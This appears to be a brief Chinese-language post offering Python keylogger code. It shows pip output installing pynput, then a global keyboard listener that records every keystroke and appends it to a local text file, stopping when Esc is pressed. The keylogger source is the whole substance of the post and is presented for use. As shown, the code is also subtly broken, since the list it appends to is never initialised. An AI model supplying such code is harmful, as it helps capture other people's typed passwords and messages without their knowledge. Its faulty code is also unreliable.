python 实现的键盘记录器 小功能

PS C:\WINDOWS\system32> pip install pynput
Looking in indexes: http://mirrors.aliyun.com/pypi/simple
Requirement already satisfied: pynput in f:\develop\python36\lib\site-packages (1.7.2)
Requirement already satisfied: six in f:\develop\python36\lib\site-packages (from pynput) (1.10.0)

from pynput.keyboard import Key, Controller,Listener
import time

def on_press(key):
    global keys
    string = str(key).replace("'","")
    keys.append(string)
    key_rcord= "".join(keys)
    if len(key_rcord)>15:
      with open('D:\keys.txt', 'a') as f:
          f.write(key_rcord)   
          keys= []  

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()